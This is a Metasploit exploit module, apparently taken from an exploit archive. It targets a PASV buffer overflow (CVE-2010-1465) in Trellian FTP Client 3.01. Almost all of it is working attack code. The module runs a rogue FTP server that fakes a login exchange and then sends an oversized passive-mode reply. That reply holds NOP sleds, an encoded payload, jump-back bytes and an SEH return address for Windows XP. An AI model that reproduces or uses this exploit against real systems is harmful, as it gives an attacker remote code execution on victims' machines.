Trellian FTP Client 3.01 PASV Remote Buffer Overflow

`##  
# $Id: trellian_client_pasv.rb 9143 2010-04-26 18:56:46Z swtornio $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::TcpServer  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Trellian FTP Client 3.01 PASV Remote Buffer Overflow',  
'Description' => %q{  
This module exploits a buffer overflow in the Trellian 3.01 FTP client that is triggered   
through an excessively long PASV message.  
},  
'Author' =>  
[  
'zombiefx', # Original exploit author  
'dookie' # MSF module author  
],  
'License' => MSF_LICENSE,  
'Version' => '$Revision: 9143 $',  
'References' =>  
[  
[ 'CVE', '2010-1465'],  
[ 'OSVDB', '63812'],  
[ 'URL', 'http://www.exploit-db.com/exploits/12152' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'seh',  
},  
'Payload' =>  
{  
'Space' => 900,  
'BadChars' => "\x00\x29\x2c\x2e",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows XP Universal', { 'Ret' => "\xfd\x21\x40" } ], # 0x004021fd p/p/r in ftp.exe  
],  
'Privileged' => false,  
'DisclosureDate' => 'April 11 2010',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptPort.new('SRVPORT', [ true, "The FTP port to listen on", 21 ]),  
], self.class)  
end  
  
def on_client_connect(client)  
return if ((p = regenerate_payload(client)) == nil)  
  
# Let the client log in  
client.get_once  
  
user = "331 Please specify the password.\r\n"  
client.put(user)  
  
client.get_once  
pass = "230 Login successful.\r\n"  
client.put(pass)  
  
# Handle the clients PWD command  
client.get_once  
pwd = "257 \"/\" is current directory.\r\n"  
client.put(pwd)  
client.get_once  
  
sploit = "227 Entering Passive Mode ("  
sploit << rand_text_alpha_upper(2171)  
sploit << make_nops(100)  
sploit << payload.encoded  
sploit << make_nops(900 - (payload.encoded.length))  
sploit << "\xe9\x18\xfc\xff\xff" # Jump back 1000 bytes  
sploit << "\xeb\xf9\x90\x90" # Jump back 7 bytes  
sploit << [target.ret].pack("A3")  
sploit << ")\r\n"  
  
client.put(sploit)  
  
end  
  
end  
`